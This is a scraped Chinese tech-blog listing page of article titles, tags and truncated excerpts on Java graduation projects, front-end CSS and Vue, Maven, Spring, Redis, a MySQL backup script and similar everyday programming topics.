                        <span class="text-muted">花样1999</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署本源码技术栈:项目架构:B/S架构开发语言:Java语言开发软件:ideaeclipse前端技术:Layui、HTML、CSS、JS、JQuery等技术后端技术:JAVA运行环境:Win10、JDK1.8数据库:MySQ</div>
                    </li>
                    <li><a href="/article/1891800127509688320.htm"
                           title="java计算机毕业设计运动会管理系统源码+mysql数据库+系统+lw文档+部署" target="_blank">java计算机毕业设计运动会管理系统源码+mysql数据库+系统+lw文档+部署</a>
                        <span class="text-muted">沪港</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>java计算机毕业设计运动会管理系统源码+mysql数据库+系统+lw文档+部署java计算机毕业设计运动会管理系统源码+mysql数据库+系统+lw文档+部署本源码技术栈:项目架构:B/S架构开发语言:Java语言开发软件:ideaeclipse前端技术:Layui、HTML、CSS、JS、JQuery等技术后端技术:JAVA运行环境:Win10、JDK1.8数据库:MySQL5.7/8.0源码</div>
                    </li>
                    <li><a href="/article/1891798237141069824.htm"
                           title="tonglink/q8 jms启动 libapr-2.so.0 问题" target="_blank">tonglink/q8 jms启动 libapr-2.so.0 问题</a>
                        <span class="text-muted">jtao518</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>启动(前题是设置好环境变量执行setp,如果不行就把内容复制到用户的配置文件中执行:tlq启动报:tlq/TLQ8/bin/tl_jmsbroker:errorwhileloadingsharedlibraries:libapr-2.so.0:cannotopensharedobjectfile:Nosuchfileordirectory解决:cpTLQ8/lib/libapr-2*/usr/li</div>
                    </li>
                    <li><a href="/article/1891784613878099968.htm"
                           title="springboot029网上购物商城系统" target="_blank">springboot029网上购物商城系统</a>
                        <span class="text-muted">Q_97095639</span>
<a class="tag" taget="_blank" href="/search/springboot%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">springboot毕业设计</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">毕业设计</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a>
                        <div>版权声明所有作品均为本人原创,提供参考学习使用,如需要源码+数据库+配套文档请移步www.taobysj.com搜索获取技术实现开发语言:Java+vue。框架:后端spingboot+前端vue。模式:B/S。数据库:mysql。开发工具:idea。论文字数:1万左右。数据库表个数:10个左右。运行环境:jdk+idea+mysql。版本不限制,包安装运行!项目优点:前后端分离,注释详细,代码简</div>
                    </li>
                    <li><a href="/article/1891781835067813888.htm"
                           title="前端布局的方式有哪些" target="_blank">前端布局的方式有哪些</a>
                        <span class="text-muted">IT木昜</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E7%99%BD%E8%AF%9D%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">大白话前端面试题</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>前端布局的方式有哪些在前端开发里,布局就像是装修房子,把不同的东西合理地摆放在合适的位置,让整个空间既美观又实用。下面给你介绍几种常见的前端布局方式:1.普通流布局(标准文档流布局)这就像是按顺序往书架上摆书,一本挨着一本,从左到右,从上到下依次排列。在网页里,元素默认就是按照这种方式排列的。比如段落、标题这些元素,一个接一个地显示在页面上。块级元素(像、等)会独占一行,就像大本书会占一整层书架;</div>
                    </li>
                    <li><a href="/article/1891780445150965760.htm"
                           title="HTML CSS整理笔记(建议收藏)" target="_blank">HTML CSS整理笔记(建议收藏)</a>
                        <span class="text-muted">程序员的生活1</span>
<a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/web%E5%89%8D%E7%AB%AF/1.htm">web前端</a><a class="tag" taget="_blank" href="/search/html%2Bcss/1.htm">html+css</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css3/1.htm">css3</a>
                        <div>点击链接后退页面:回到上一个网页——修改placeholder提示的样式:打造全网web前端全栈资料库(总目录)看完学的更快,掌握的更加牢固,你值得拥有(持续更新)1.除IE外通用写法类名或标签名::placeholder{color:red;}2.加兼容前缀写法css超出一行显示省略号:给定宽度(width:100px)、超出隐藏(overflow:hidden)、强制在同一行显示(white-</div>
                    </li>
                    <li><a href="/article/1891779940672663552.htm"
                           title="一些我不知道的HTML前端基础知识笔记" target="_blank">一些我不知道的HTML前端基础知识笔记</a>
                        <span class="text-muted">han1140521792</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/1.htm">学习资料</a><a class="tag" taget="_blank" href="/search/HTML5/1.htm">HTML5</a><a class="tag" taget="_blank" href="/search/CSS/1.htm">CSS</a><a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a>
                        <div>点击链接后退页面:回到上一个网页——修改placeholder提示的样式:1.除IE外通用写法类名或标签名::placeholder{color:red;}2.加兼容前缀写法css超出一行显示省略号:给定宽度(width:100px)、超出隐藏(overflow:hidden)、强制在同一行显示(white-space:nowrap)、省略号(text-overflow:ellipsis)——常见</div>
                    </li>
                    <li><a href="/article/1891768465165971456.htm"
                           title="Vue3CompositionAPI" target="_blank">Vue3CompositionAPI</a>
                        <span class="text-muted">jpruby</span>
<a class="tag" taget="_blank" href="/search/vue/1.htm">vue</a>
                        <div>Vue3CompositionAPI第一章最终效果演示1.下载依赖npminstall2.启动前端npmrundev3.启动数据json-server--watchdata/db.json--port=3003第二章创建项目1.vite创建项目npminitvite@latestvite-blog----templatevue2.App.vueApp.vue3.Home.vue1.测试setup的</div>
                    </li>
                    <li><a href="/article/1891748658613907456.htm"
                           title="前端现代年轻人的“通病”:我们该如何应对?" target="_blank">前端现代年轻人的“通病”:我们该如何应对?</a>
                        <span class="text-muted">人民广场吃泡面</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E5%89%8D%E7%AB%AF%E5%8F%91%E5%B1%95%E6%8E%A2%E8%AE%A8/1.htm">大前端发展探讨</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>引言随着互联网技术的飞速发展,前端开发已经成为IT行业中最热门的领域之一。越来越多的年轻人选择投身前端开发,追求高薪、自由和创造力。然而,在前端开发的浪潮中,许多年轻人也暴露出了一些“通病”。这些“通病”不仅影响了他们的职业发展,还可能对整个团队和项目产生负面影响。本文将深入探讨现代年轻前端开发者常见的“通病”,分析其背后的原因,并提出一些实用的建议,帮助大家更好地应对这些挑战。目录前端年轻人的“</div>
                    </li>
                    <li><a href="/article/1891740714824429568.htm"
                           title="pnpm、npm、yarn 包管理工具『优劣对比』及『环境迁移』" target="_blank">pnpm、npm、yarn 包管理工具『优劣对比』及『环境迁移』</a>
                        <span class="text-muted">「已注销」</span>
<a class="tag" taget="_blank" href="/search/npm/1.htm">npm</a>
                        <div>前言博主在开发前端网站的时候,发现随着开发的项目的逐渐增多,安装的依赖包越来越臃肿,依赖包的安装速度也是非常越来越慢,多项目开发管理也是比较麻烦。之前我就了解过pnpm,但是当时担心更换包管理环境可能会出现的依赖等问题,并且也没有急切的需求,所以当时并没有立即更换综上所述,随着上面问题的出现,更换包管理环境也逐渐提上日程,所以本文主要将会简单对比pnpm和npm/yarn,并且详细讲解如何在多项目</div>
                    </li>
                    <li><a href="/article/1891728725976870912.htm"
                           title="前端项目git提交时做代码规范验证" target="_blank">前端项目git提交时做代码规范验证</a>
                        <span class="text-muted">一个水货程序员</span>
<a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81%E8%A7%84%E8%8C%83/1.htm">代码规范</a>
                        <div>前端项目git提交时做代码规范验证需要使用到的插件:husky,是一个GitHook工具,为git客户端增加hook的。lint-staged,在git提交前,进行代码规则检查确保入库的代码都符合代码规则,如果对整个项目进行lint这样速度太慢,lint-staged可以让lint只检测暂存区的文件,提高检测速度。当前依赖版本:husky版本:^8.0.1,lint-staged版本:^13.0.</div>
                    </li>
                    <li><a href="/article/1891721912220971008.htm"
                           title="QEMU-Manager:Mac上的QEMU图形化管理利器" target="_blank">QEMU-Manager:Mac上的QEMU图形化管理利器</a>
                        <span class="text-muted">苏承根</span>

                        <div>QEMU-Manager:Mac上的QEMU图形化管理利器项目地址:https://gitcode.com/gh_mirrors/qe/QEMU-Manager在探索虚拟化的浩瀚世界时,找到一个既强大又易用的工具至关重要。今天,我们要向您隆重推荐QEMU-Manager——一款专为macOS设计的QEMU图形前端,由Swift语言精心打造。通过这篇文章,我们将深入挖掘QEMU-Manager的魅力</div>
                    </li>
                    <li><a href="/article/1891721658436218880.htm"
                           title="VB.NET基于WEB房地产评估系统(源代码+文档)" target="_blank">VB.NET基于WEB房地产评估系统(源代码+文档)</a>
                        <span class="text-muted">csdn663648</span>
<a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/microsoft/1.htm">microsoft</a>
                        <div>资料介绍:--------------摘要--------------房地产评估系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强、数据安全性好的库。而对于后者则要求应用程序功能完备,易使用等特点。本系统特有的房屋基本情况、专业评估人员、估价方法等。经过分析,我们使用MICROSOFT公司的VISUALBA</div>
                    </li>
                                <li><a href="/article/72.htm"
                                       title="Java开发中,spring mvc 的线程怎么调用?" target="_blank">Java开发中,spring mvc 的线程怎么调用?</a>
                                    <span class="text-muted">小麦麦子</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/mvc/1.htm">mvc</a>
                                    <div>今天逛知乎,看到最近很多人都在问spring mvc 的线程http://www.maiziedu.com/course/java/ 的启动问题,觉得挺有意思的,那哥们儿问的也听仔细,下面的回答也很详尽,分享出来,希望遇对遇到类似问题的Java开发程序猿有所帮助。 
 
问题: 
&nbsp;&nbsp;&nbsp; 在用spring mvc架构的网站上,设一线程在虚拟机启动时运行,线程里有一全局</div>
                                </li>
                                <li><a href="/article/199.htm"
                                       title="maven依赖范围" target="_blank">maven依赖范围</a>
                                    <span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>1.test 测试的时候才会依赖,编译和打包不依赖,如junit不被打包 
 
2.compile 只有编译和打包时才会依赖 
 
3.provided 编译和测试的时候依赖,打包不依赖,如:tomcat的一些公用jar包 
 
4.runtime 运行时依赖,编译不依赖 
 
5.默认compile 
 
依赖范围compile是支持传递的,test不支持传递 
 
1.传递的意思是项目A,引用</div>
                                </li>
                                <li><a href="/article/326.htm"
                                       title="Jaxb org.xml.sax.saxparseexception : premature end of file" target="_blank">Jaxb org.xml.sax.saxparseexception : premature end of file</a>
                                    <span class="text-muted">darrenzhu</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/premature/1.htm">premature</a><a class="tag" taget="_blank" href="/search/JAXB/1.htm">JAXB</a>
                                    <div>如果在使用JAXB把xml文件unmarshal成vo(XSD自动生成的vo)时碰到如下错误: 
org.xml.sax.saxparseexception : premature end of file 
很有可能时你直接读取文件为inputstream,然后将inputstream作为构建unmarshal需要的source参数。InputSource inputSource = new In</div>
                                </li>
                                <li><a href="/article/453.htm"
                                       title="CSS Specificity" target="_blank">CSS Specificity</a>
                                    <span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E6%9D%83%E9%87%8D/1.htm">权重</a><a class="tag" taget="_blank" href="/search/Specificity/1.htm">Specificity</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                                    <div>&nbsp; 
有时候对于页面元素设置了样式,可为什么页面的显示没有匹配上呢? because specificity   
CSS 的选择符是有权重的,当不同的选择符的样式设置有冲突时,浏览器会采用权重高的选择符设置的样式。   
&nbsp;&nbsp;&nbsp; 规则: 
&nbsp; 
  HTML标签的权重是1

  Class 的权重是10

  Id 的权重是100

</div>
                                </li>
                                <li><a href="/article/580.htm"
                                       title="java与servlet" target="_blank">java与servlet</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a>
                                    <div>servlet 搞java web开发的人一定不会陌生,而且大家还会时常用到它。 
下面是java官方网站上对servlet的介绍:  java官网对于servlet的解释 写道   
Java Servlet Technology Overview Servlets are the Java platform technology of choice for extending and enha</div>
                                </li>
                                <li><a href="/article/707.htm"
                                       title="eclipse中安装maven插件" target="_blank">eclipse中安装maven插件</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>1.首先去官网下载 Maven: 
http://www.apache.org/dyn/closer.cgi/maven/binaries/apache-maven-3.2.3-bin.tar.gz 
下载完成之后将其解压, 
我将解压后的文件夹:apache-maven-3.2.3, 
并将它放在 D:\tools目录下, 
即 maven 最终的路径是:D:\tools\apache-mave</div>
                                </li>
                                <li><a href="/article/834.htm"
                                       title="jpa@OneToOne关联关系" target="_blank">jpa@OneToOne关联关系</a>
                                    <span class="text-muted">布衣凌宇</span>
<a class="tag" taget="_blank" href="/search/jpa/1.htm">jpa</a>
                                    <div>Nruser里的pruserid关联到Pruser的主键id,实现对一个表的增删改,另一个表的数据随之增删改。 
Nruser实体类 
//***************************************************************** 
@Entity 
@Table(name=&quot;nruser&quot;) 
@DynamicInsert @Dynam</div>
                                </li>
                                <li><a href="/article/961.htm"
                                       title="我的spring学习笔记11-Spring中关于声明式事务的配置" target="_blank">我的spring学习笔记11-Spring中关于声明式事务的配置</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E4%BA%8B%E5%8A%A1/1.htm">事务</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE/1.htm">配置</a>
                                    <div>这两天学到事务管理这一块,结合到之前的terasoluna框架,觉得书本上讲的还是简单阿。我就把我从书本上学到的再结合实际的项目以及网上看到的一些内容,对声明式事务管理做个整理吧。我看得Spring in Action第二版中只提到了用TransactionProxyFactoryBean和&lt;tx:advice/&gt;,定义注释驱动这三种,我承认后两种的内容很好,很强大。但是实际的项目当中</div>
                                </li>
                                <li><a href="/article/1088.htm"
                                       title="java 动态代理简单实现" target="_blank">java 动态代理简单实现</a>
                                    <span class="text-muted">antlove</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/handler/1.htm">handler</a><a class="tag" taget="_blank" href="/search/proxy/1.htm">proxy</a><a class="tag" taget="_blank" href="/search/dynamic/1.htm">dynamic</a><a class="tag" taget="_blank" href="/search/service/1.htm">service</a>
                                    <div>dynamicproxy.service.HelloService 
package dynamicproxy.service;

public interface HelloService {
	public void sayHello();
}
 
&nbsp; 
dynamicproxy.service.impl.HelloServiceImpl 
package dynamicp</div>
                                </li>
                                <li><a href="/article/1215.htm"
                                       title="JDBC连接数据库" target="_blank">JDBC连接数据库</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/JDBC%E7%BC%96%E7%A8%8B/1.htm">JDBC编程</a><a class="tag" taget="_blank" href="/search/JAVA%E6%93%8D%E4%BD%9Coracle%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">JAVA操作oracle数据库</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp; 如果我们要想连接oracle公司的数据库,就要首先下载oralce公司的驱动程序,将这个驱动程序的jar包导入到我们工程中; 
&nbsp; 
JDBC链接数据库的代码和固定写法; 
&nbsp; 
&nbsp; 
1,加载oracle数据库的驱动; 
&nbsp;&nbsp;&nbsp;&nbsp;&nb</div>
                                </li>
                                <li><a href="/article/1342.htm"
                                       title="单例模式中的多线程分析" target="_blank">单例模式中的多线程分析</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a>
                                    <div>谈到单例模式,我们立马会想到饿汉式和懒汉式加载,所谓饿汉式就是在创建类时就创建好了实例,懒汉式在获取实例时才去创建实例,即延迟加载。 
饿汉式: 
package com.bijian.study;

public class Singleton {

	private Singleton() {
	}

	// 注意这是private 只供内部调用
	private static</div>
                                </li>
                                <li><a href="/article/1469.htm"
                                       title="javascript读取和修改原型特别需要注意原型的读写不具有对等性" target="_blank">javascript读取和修改原型特别需要注意原型的读写不具有对等性</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/prototype/1.htm">prototype</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于从原型对象继承而来的成员,其读和写具有内在的不对等性。比如有一个对象A,假设它的原型对象是B,B的原型对象是null。如果我们需要读取A对象的name属性值,那么JS会优先在A中查找,如果找到了name属性那么就返回;如果A中没有name属性,那么就到原型B中查找name,如果找到了就返回;如果原型B中也没有</div>
                                </li>
                                <li><a href="/article/1596.htm"
                                       title="【持久化框架MyBatis3六】MyBatis3集成第三方DataSource" target="_blank">【持久化框架MyBatis3六】MyBatis3集成第三方DataSource</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/dataSource/1.htm">dataSource</a>
                                    <div>MyBatis内置了数据源的支持,如: 
&nbsp; 
	&lt;environments default=&quot;development&quot;&gt;
		&lt;environment id=&quot;development&quot;&gt;
			&lt;transactionManager type=&quot;JDBC&quot; /&gt;
			&lt;data</div>
                                </li>
                                <li><a href="/article/1723.htm"
                                       title="我程序中用到的urldecode和base64decode,MD5" target="_blank">我程序中用到的urldecode和base64decode,MD5</a>
                                    <span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/MD5/1.htm">MD5</a><a class="tag" taget="_blank" href="/search/base64decode/1.htm">base64decode</a><a class="tag" taget="_blank" href="/search/urldecode/1.htm">urldecode</a>
                                    <div>这里是base64decode和urldecode,Md5在附件中。因为我是在后台所以需要解码: 
 

string Base64Decode(const char* Data,int DataByte,int&amp; OutByte)
{
    //解码表
    const char DecodeTable[] =
    {
        0, 0, 0, 0, 0, 0</div>
                                </li>
                                <li><a href="/article/1850.htm"
                                       title="腾讯资深运维专家周小军:QQ与微信架构的惊天秘密" target="_blank">腾讯资深运维专家周小军:QQ与微信架构的惊天秘密</a>
                                    <span class="text-muted">ronin47</span>

                                    <div>社交领域一直是互联网创业的大热门,从PC到移动端,从OICQ、MSN到QQ。到了移动互联网时代,社交领域应用开始彻底爆发,直奔黄金期。腾讯在过去几年里,社交平台更是火到爆,QQ和微信坐拥几亿的粉丝,QQ空间和朋友圈各种刷屏,写心得,晒照片,秀视频,那么谁来为企鹅保驾护航呢?支撑QQ和微信海量数据背后的架构又有哪些惊天内幕呢?本期大讲堂的内容来自今年2月份ChinaUnix对腾讯社交网络运营服务中心</div>
                                </li>
                                <li><a href="/article/1977.htm"
                                       title="java-69-旋转数组的最小元素。把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素" target="_blank">java-69-旋转数组的最小元素。把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>

public class MinOfShiftedArray {

	/**
	 * Q69 旋转数组的最小元素
	 * 把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素。
	 * 例如数组{3, 4, 5, 1, 2}为{1, 2, 3, 4, 5}的一个旋转,该数组的最小值为1。
	 */
	publ</div>
                                </li>
                                <li><a href="/article/2104.htm"
                                       title="看博客,应该是有方向的" target="_blank">看博客,应该是有方向的</a>
                                    <span class="text-muted">Cb123456</span>
<a class="tag" taget="_blank" href="/search/%E5%8F%8D%E7%9C%81/1.htm">反省</a><a class="tag" taget="_blank" href="/search/%E7%9C%8B%E5%8D%9A%E5%AE%A2/1.htm">看博客</a>
                                    <div>看博客,应该是有方向的: 
&nbsp;我现在就复习以前的,在补补以前不会的,现在还不会的,同时完善完善项目,也看看别人的博客. 
&nbsp;我刚突然想到的: 
&nbsp;1.应该看计算机组成原理,数据结构,一些算法,还有关于android,java的。 
&nbsp;2.对于我,也快大四了,看一些职业规划的,以及一些学习的经验,看看别人的工作总结的. 
&nbsp; 
&nbsp;为什么要写</div>
                                </li>
                                <li><a href="/article/2231.htm"
                                       title="[开源与商业]做开源项目的人生活上一定要朴素,尽量减少对官方和商业体系的依赖" target="_blank">[开源与商业]做开源项目的人生活上一定要朴素,尽量减少对官方和商业体系的依赖</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE/1.htm">开源项目</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp; 为什么这样说呢?&nbsp; 因为科学和技术的发展有时候需要一个平缓和长期的积累过程,但是行政和商业体系本身充满各种不稳定性和不确定性,如果你希望长期从事某个科研项目,但是却又必须依赖于某种行政和商业体系,那其中的过程必定充满各种风险。。。 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以,为避免这种不确定性风险,我</div>
                                </li>
                                <li><a href="/article/2358.htm"
                                       title="一个 sql优化 ([精华] 一个查询优化的分析调整全过程!很值得一看 )" target="_blank">一个 sql优化 ([精华] 一个查询优化的分析调整全过程!很值得一看 )</a>
                                    <span class="text-muted">cwqcwqmax9</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
                                    <div>见&nbsp;&nbsp; http://www.itpub.net/forum.php?mod=viewthread&amp;tid=239011 
 
 
 
 
Web翻页优化实例 
 提交时间: 2004-6-18 15:37:49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回复&nbsp;&nbsp;&nbsp; 发消息&nbsp; 
 
 
环境: 
Linux ve</div>
                                </li>
                                <li><a href="/article/2485.htm"
                                       title="Hibernat and Ibatis" target="_blank">Hibernat and Ibatis</a>
                                    <span class="text-muted">dashuaifu</span>
<a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a>
                                    <div>Hibernate&nbsp; VS&nbsp; iBATIS 简介 Hibernate 是当前最流行的O/R mapping框架,当前版本是3.05。它出身于sf.net,现在已经成为Jboss的一部分了 iBATIS 是另外一种优秀的O/R mapping框架,当前版本是2.0。目前属于apache的一个子项目了。 相对Hibernate“O/R”而言,iBATIS 是一种“Sql Mappi</div>
                                </li>
                                <li><a href="/article/2612.htm"
                                       title="备份MYSQL脚本" target="_blank">备份MYSQL脚本</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>#!/bin/sh
# this shell to backup mysql
#1413161683@qq.com (QQ:1413161683 DuChengJiu)

_dbDir=/var/lib/mysql/
_today=`date +%w`
_bakDir=/usr/backup/$_today
[ ! -d $_bakDir ] &amp;&amp; mkdir -p </div>
                                </li>
                                <li><a href="/article/2739.htm"
                                       title="iOS第三方开源库的吐槽和备忘" target="_blank">iOS第三方开源库的吐槽和备忘</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a>
                                    <div>转自 
ibireme的博客   &nbsp;   做iOS开发总会接触到一些第三方库,这里整理一下,做一些吐槽。   &nbsp;   目前比较活跃的社区仍旧是Github,除此以外也有一些不错的库散落在Google Code、SourceForge等地方。由于Github社区太过主流,这里主要介绍一下Github里面流行的iOS库。   &nbsp;   首先整理了一份 
Github上排名靠</div>
                                </li>
                                <li><a href="/article/2866.htm"
                                       title="html wlwmanifest.xml" target="_blank">html wlwmanifest.xml</a>
                                    <span class="text-muted">eoems</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a>
                                    <div>所谓优化wp_head()就是把从wp_head中移除不需要元素,同时也可以加快速度。 
 
步骤: 
 
加入到function.php 
 
remove_action('wp_head', 'wp_generator'); 
//wp-generator移除wordpress的版本号,本身blog的版本号没什么意义,但是如果让恶意玩家看到,可能会用官网公布的漏洞攻击blog 
 
remov</div>
                                </li>
                                <li><a href="/article/2993.htm"
                                       title="浅谈Java定时器发展" target="_blank">浅谈Java定时器发展</a>
                                    <span class="text-muted">hacksin</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/timer/1.htm">timer</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E6%97%B6%E5%99%A8/1.htm">定时器</a>
                                    <div>java在jdk1.3中推出了定时器类Timer,而后在jdk1.5后由Dou Lea从新开发出了支持多线程的ScheduleThreadPoolExecutor,从后者的表现来看,可以考虑完全替代Timer了。 
Timer与ScheduleThreadPoolExecutor对比: 
1. 
&nbsp; 
&nbsp;Timer始于jdk1.3,其原理是利用一个TimerTask数组当作队列</div>
                                </li>
                                <li><a href="/article/3120.htm"
                                       title="移动端页面侧边导航滑入效果" target="_blank">移动端页面侧边导航滑入效果</a>
                                    <span class="text-muted">ini</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/javascirpt/1.htm">javascirpt</a>
                                    <div>效果体验:http://hovertree.com/texiao/mobile/2.htm可以使用移动设备浏览器查看效果。效果使用到jquery-2.1.4.min.js,该版本的jQuery库是用于支持HTML5的浏览器上,不再兼容IE8以前的浏览器,现在移动端浏览器一般都支持HTML5,所以使用该jQuery没问题。HTML文件代码: 
&lt;!DOCTYPE html&gt;
&lt;h</div>
                                </li>
                                <li><a href="/article/3247.htm"
                                       title="AspectJ+Javasist记录日志" target="_blank">AspectJ+Javasist记录日志</a>
                                    <span class="text-muted">kane_xie</span>
<a class="tag" taget="_blank" href="/search/aspectj/1.htm">aspectj</a><a class="tag" taget="_blank" href="/search/javasist/1.htm">javasist</a>
                                    <div>在项目中碰到这样一个需求,对一个服务类的每一个方法,在方法开始和结束的时候分别记录一条日志,内容包括方法名,参数名+参数值以及方法执行的时间。 
&nbsp; 
@Override
public String get(String key) {
//	long start = System.currentTimeMillis();
//	System.out.println(&quot;Be</div>
                                </li>
                                <li><a href="/article/3374.htm"
                                       title="redis学习笔记" target="_blank">redis学习笔记</a>
                                    <span class="text-muted">MJC410621</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a>
                                    <div>1)nosql数据库主要由以下特点:非关系型的、分布式的、开源的、水平可扩展的。 
1,处理超大量的数据 
2,运行在便宜的PC服务器集群上, 
3,击碎了性能瓶颈。 
1)对数据高并发读写。 
2)对海量数据的高效率存储和访问。 
3)对数据的高扩展性和高可用性。 
 
redis支持的类型: 
 
Sring 类型 
set name lijie 
get name lijie 
set na</div>
                                </li>
                                <li><a href="/article/3501.htm"
                                       title="使用redis实现分布式锁" target="_blank">使用redis实现分布式锁</a>
                                    <span class="text-muted">qifeifei</span>

                                    <div>在多节点的系统中,如何实现分布式锁机制,其中用redis来实现是很好的方法之一,我们先来看一下jedis包中,有个类名BinaryJedis,它有个方法如下: 
&nbsp; 
public Long setnx(final byte[] key, final byte[] value) {
	checkIsInMulti();
	client.setnx(key, value);
	ret</div>
                                </li>
                                <li><a href="/article/3628.htm"
                                       title="BI并非万能,中层业务管理报表要另辟蹊径" target="_blank">BI并非万能,中层业务管理报表要另辟蹊径</a>
